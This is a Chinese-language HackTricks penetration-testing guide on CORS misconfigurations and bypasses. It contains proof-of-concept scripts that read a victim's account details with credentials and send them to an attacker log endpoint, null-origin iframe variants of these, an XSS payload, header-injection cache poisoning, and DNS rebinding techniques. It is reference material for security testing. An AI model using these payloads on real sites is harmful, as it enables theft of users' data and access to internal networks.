hacktricks/pentesting-web/cors-bypass.md
2023-08-03 19:12:22 +00:00

25 KiB
Raw Blame History

CORS - 配置错误和绕过

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

什么是CORS

CORS跨源资源共享标准是必需的因为它允许服务器指定谁可以访问其资源以及允许来自外部资源的哪些HTTP请求方法

同源策略要求请求资源的服务器资源所在的服务器使用相同的协议([http://),域名](http://\),域名)和相同的端口80。因此如果服务器强制执行同源策略则只有来自相同域和端口的网页才能访问资源。

下表显示了在http://normal-website.com/example/example.html中如何应用同源策略:

访问的URL 允许访问?
http://normal-website.com/example/ 是:相同的协议、域和端口
http://normal-website.com/example2/ 是:相同的协议、域和端口
https://normal-website.com/example/ 否:不同的协议和端口
http://en.normal-website.com/example/ 否:不同的域名
http://www.normal-website.com/example/ 否:不同的域名
http://normal-website.com:8080/example/ 否:不同的端口*

*Internet Explorer将允许此访问因为IE在应用同源策略时不考虑端口号。

Access-Control-Allow-Origin 头部

Access-Control-Allow-Origin 的规范允许多个来源,或值为**null,或通配符*。然而,没有浏览器支持多个来源,并且对使用通配符*限制**。(通配符只能单独使用,这将失败 Access-Control-Allow-Origin: https://*.normal-website.com,并且不能与 Access-Control-Allow-Credentials: true 一起使用

当网站请求跨域资源时,浏览器会添加一个Origin头部,服务器在返回时会包含这个Access-Control-Allow-Origin头部。

Access-Control-Allow-Credentials 头部

跨域资源请求的默认行为是不传递凭据如cookies和Authorization头部。然而跨域服务器可以通过将CORS的Access-Control-Allow-Credentials头部设置为**true来允许读取响应时传递给它的凭据**。

如果值设置为true则浏览器将发送凭据cookies、授权头部或TLS客户端证书

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

预检请求

在某些情况下,当跨域请求:

  • 包含非标准的HTTP方法HEADGETPOST
  • 包含新的头部
  • 包含特殊的Content-Type头部值

{% hint style="info" %} 请查看此链接中请求的条件,以避免发送预检请求 {% endhint %}

跨域请求会在**OPTIONS方法请求之前进行CORS协议要求在允许跨域请求之前对方法和头部进行初始检查**。这被称为预检查。服务器会返回一个允许的方法列表,以及受信任的来源,浏览器会检查请求网站的方法是否被允许。

{% hint style="danger" %} 请注意,即使不发送预检请求,因为"常规请求"的条件得到了遵守,响应仍然需要具有授权头部,否则浏览器将无法读取请求的响应。 {% endhint %}

例如,下面是一个预检请求,它试图与一个名为Special-Request-Header自定义请求头部一起使用**PUT方法**

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

服务器可能返回以下响应:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers 允许的请求头
  • Access-Control-Expose-Headers 允许暴露的响应头
  • Access-Control-Max-Age 定义预检请求的最大缓存时间
  • Access-Control-Request-Headers 跨域请求想要发送的请求头
  • Access-Control-Request-Method 跨域请求想要使用的请求方法
  • Origin 跨域请求的来源(由浏览器自动设置)

请注意,通常情况下(取决于内容类型和设置的请求头),在GET/POST请求中不会发送预检请求(请求会直接发送),但是如果您想要访问响应的请求头/主体它必须包含一个允许的_Access-Control-Allow-Origin_头。
因此CORS不能防止CSRF但它可能有所帮助

本地网络请求的预检请求

当请求发送到本地网络IP地址时会发送2个额外的CORS头

  • Access-Control-Request-Local-Network 客户端请求头指示请求是本地网络请求
  • Access-Control-Allow-Local-Network 服务器响应头指示资源可以安全地与外部网络共享

允许本地网络请求的有效响应还需要在响应中包含头Access-Controls-Allow-Local_network: true

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} 请注意Linux中的0.0.0.0 IP地址可用于绕过访问本地主机的要求因为该IP地址不被视为“本地”。

如果您使用本地端点的公共IP地址如路由器的公共IP地址还可以绕过本地网络要求。因为在许多情况下,即使访问的是公共IP,如果是来自本地网络,也会被授予访问权限。

{% endhint %}

可利用的配置错误

请注意,大多数真实攻击需要将Access-Control-Allow-Credentials设置为true因为这将允许浏览器发送凭据并读取响应。没有凭据许多攻击变得无关紧要这意味着您无法利用用户的Cookie因此让他们的浏览器发出请求而不是自己发出请求是没有任何收益的。

一个值得注意的例外是当受害者的网络位置充当一种身份验证方式。您可以使用受害者的浏览器作为代理来绕过基于IP的身份验证并访问内部网络应用程序。在影响方面这与DNS重绑定类似但要利用起来要简单得多。

Access-Control-Allow-Origin中反射Origin

在现实世界中,这两个标头的值不允许同时出现
同样,许多开发人员希望在CORS中允许多个URL但不允许使用子域通配符或URL列表。因此一些开发人员会动态生成**Access-Control-Allow-Origin**标头,并且在多个情况下,他们只是复制Origin标头的值

在这种情况下,同样的漏洞可能会被利用

在其他情况下,开发人员可以检查victimdomain.com是否出现Origin标头中,然后,攻击者可以使用名为**attackervictimdomain.com**的域来窃取机密信息。

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null Origin

nullOrigin头的一个特殊值。规范中提到它会在重定向和本地HTML文件中触发。一些应用程序可能会将null origin列入白名单以支持应用程序的本地开发。
这很好,因为一些应用程序允许CORS中的这个值,并且任何网站都可以通过使用沙盒iframe轻松获取null origin

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

正则表达式绕过

如果你发现域名 victim.com白名单了,你应该检查 victim.com.attacker.com 是否也被白名单,或者,如果你可以接管某个子域名,检查 somesubdomain.victim.com 是否被白名单。

高级正则表达式绕过

大多数用于在字符串中识别域名的正则表达式将关注字母数字ASCII字符和.-。因此,像 victimdomain.com{.attacker.com 这样的字符串在 Origin 头部中将被解释为域名是 victimdomain.com,但浏览器(在这种情况下 Safari 支持该字符作为域名)将访问 attacker.com 这个域名。

下划线 _ 字符(在子域名中)不仅在 Safari 中支持,而且在 Chrome 和 Firefox 中也支持!

因此,使用其中一个子域名,你可以绕过一些“常见”的正则表达式来找到 URL 的主域名。

有关此绕过的更多信息和设置,请查看:https://www.corben.io/advanced-cors-techniques/ https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

来自子域名内的 XSS 攻击

开发人员用于防御 CORS 攻击的一种机制是将经常请求访问信息的域名加入白名单。然而,这并不完全安全,因为即使一个白名单的域名的子域名容易受到其他攻击(如 XSS的影响它也可以启用 CORS 攻击。

让我们来看一个例子,下面的代码显示了允许 requester.com 的子域名访问 provider.com 资源的配置。

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}

假设用户可以访问sub.requester.com但无法访问requester.com并且假设sub.requester.com易受XSS攻击。用户可以通过使用跨站脚本攻击方法来利用provider.com

服务器端缓存污染

如果条件成熟我们可以利用通过HTTP头注入进行服务器端缓存污染从而创建一个存储型XSS漏洞。

如果一个应用程序反射Origin头而没有对其进行非法字符检查,例如逗号,我们实际上就有了一个针对IE/Edge用户的HTTP头注入漏洞因为Internet Explorer和Edge将\r0x0d视为有效的HTTP头终止符GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer将响应视为

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

这并不是直接可利用的因为攻击者无法让某人的Web浏览器发送这样的格式错误的头部但是我可以在Burp Suite中手动构造此请求并且服务器端缓存可能会保存响应并将其提供给其他人。我使用的有效载荷将更改页面的字符集为UTF-7这在创建XSS漏洞方面非常有用。

客户端缓存污染

您可能偶尔会遇到一个页面其中自定义HTTP头中存在反射型XSS。假设一个网页反射了一个自定义头的内容而没有进行编码:

GET / HTTP/1.1
Host: example.com
X-User-id: &lt;svg/onload=alert\(1\)&gt;

HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: &lt;svg/onload=alert\(1\)&gt;\

使用CORS我们可以在Header中发送任何值。单独来说这是无用的,因为包含我们注入的JavaScript的响应不会被渲染。然而,如果没有指定Vary: Origin,响应可能会被存储在浏览器的缓存中并在浏览器导航到相关URL时直接显示。我已经创建了一个fiddle来尝试在您选择的URL上进行此攻击。由于此攻击使用客户端缓存,它实际上非常可靠。

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>

绕过

XSSI跨站脚本包含/ JSONP

XSSI指的是一种利用script标签包含资源时由于脚本需要能够跨域包含因此SOP不适用的漏洞。攻击者可以通过使用script标签来读取所有被包含的内容。

当涉及到动态JavaScript或JSONP时这一点尤其有趣因为这些情况下使用了所谓的环境授权信息比如cookies用于身份验证。当从不同的主机请求资源时这些cookies会被包含进来。BurpSuite插件https://github.com/kapytein/jsonp

在这里阅读更多关于不同类型的XSSI以及如何利用它们的信息。

尝试在请求中添加一个**callback** 参数。也许页面已经准备好将数据作为JSONP发送。在这种情况下页面将以Content-Type: application/javascript的形式发送数据从而绕过CORS策略。

简单(无用?)绕过

您可以要求Web应用程序代表您发出请求并返回响应。这将绕过**Access-Control-Allow-Origin,但请注意,最终受害者的凭据不会被发送,因为您将会与不同的域**(代表您发出请求的域)进行联系。

CORS-escape

CORS-escape提供了一个代理,它会将我们的请求和其头部一起传递,并且还会伪造Origin头部Origin = 请求的域)。因此,CORS策略被绕过
源代码位于Github上,因此您可以自己托管

xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");

simple-cors-escape

代理有点像“转发”你的请求,就像你发送的一样。我们可以用一种替代的方式来解决这个问题,这种方式仍然涉及到其他人为你发出请求,但这一次,服务器会用你指定的任何参数自己发出请求。

Iframe + Popup Bypass

你可以通过创建一个iframe并从中打开一个新窗口来绕过CORS检查例如e.origin === window.origin。更多信息请参见以下页面:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

通过TTL进行DNS Rebinding

基本上你让受害者访问你的页面然后你改变你的域名的DNS即IP使其指向受害者的网页。当TTL结束时你让受害者执行一些操作JS这样就会发出新的DNS请求然后你就能够收集信息因为你始终将用户保留在你的域名中他不会向受害者服务器发送任何cookie所以这个选项滥用了受害者IP的特权

即使你将TTL设置得非常低0或1浏览器也有一个缓存会阻止你在几秒钟/分钟内滥用这个功能。

因此这种技术对于绕过显式检查很有用受害者明确执行DNS请求以检查域名的IP当调用机器人时它将执行自己的请求

或者当你可以让用户/机器人在同一个页面上停留很长时间(这样你就可以等待缓存过期)。

如果你需要快速滥用这个功能,你可以使用像https://lock.cmpxchg8b.com/rebinder.html这样的服务。

如果你想运行自己的DNS rebinding服务器你可以使用像DNSrebinder这样的工具然后暴露你的本地端口53/udp创建一个指向它的A记录ns.example.com并创建一个指向先前创建的A子域的NS记录ns.example.com
然后该子域的任何子域ns.example.com都将由你的主机解析。

还可以在http://rebind.it/singularity.html上查看公开运行的服务器。

通过DNS缓存洪泛进行DNS Rebinding

正如前一节所述,浏览器将域名的IP地址缓存的时间比TTL指定的时间长。然而,有一种方法可以绕过这种防御。

你可以有一个服务工作者,它将洪泛DNS缓存以强制进行第二个DNS请求。所以流程将是这样的:

  1. DNS请求响应为攻击者地址
  2. 服务工作者洪泛DNS缓存删除了缓存的攻击者服务器名称
  3. 第二个DNS请求这次响应为127.0.0.1

蓝色是第一个DNS请求橙色是洪泛。

通过缓存进行DNS Rebinding

正如前一节所述,浏览器将域名的IP地址缓存的时间比TTL指定的时间长。然而,还有另一种绕过这种防御的方法。

你可以在DNS提供商中为同一个子域创建2个A记录(或1个带有2个IP的A记录),当浏览器检查它们时,它将得到两者。

现在,如果浏览器决定首先使用攻击者IP地址,攻击者将能够提供将执行HTTP请求到同一有效负载。然而现在攻击者知道受害者的IP他将停止回答受害者的浏览器

当浏览器发现域名对他不响应时,它将使用给定的第二个IP,这样他将绕过SOP访问不同的位置。攻击者可以利用这一点来获取信息并将其外泄。

{% hint style="warning" %} 请注意为了访问本地主机你应该尝试在Windows中重新绑定127.0.0.1在Linux中重新绑定0.0.0.0
像godaddy或cloudflare这样的提供商不允许我使用IP 0.0.0.0但AWS route53允许我创建一个带有2个IP的A记录其中一个是"0.0.0.0"

{% endhint %}

有关更多信息,请参见https://unit42.paloaltonetworks.com/dns-rebinding/

其他常见绕过方式

  • 如果不允许使用内部IP,可能忘记禁止0.0.0.0在Linux和Mac上有效
  • 如果不允许使用内部IP作为DNS响应你可以将CNAME响应返回给localhost在Linux和Mac上有效
  • 如果不允许使用内部IP作为DNS响应你可以将CNAME响应返回给内部服务例如www.corporate.internal。

武器化的DNS Rebinding

你可以在演讲Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference中找到有关前面绕过技术的更多信息以及如何使用以下工具。

Singularity of Origin是一个用于执行DNS rebinding攻击的工具。它包括将攻击服务器DNS名称的IP地址重新绑定到目标机器的IP地址以及提供攻击有效负载以利用目标机器上的易受攻击软件所需的组件。

防止 DNS 重绑定的真实保护措施

工具

模糊测试 CORS 策略中的可能配置错误

参考资料

{% embed url="https://portswigger.net/web-security/cors" %}

{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}

{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}

{% embed url="https://www.codecademy.com/articles/what-is-cors" %}

{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}

{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}

{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥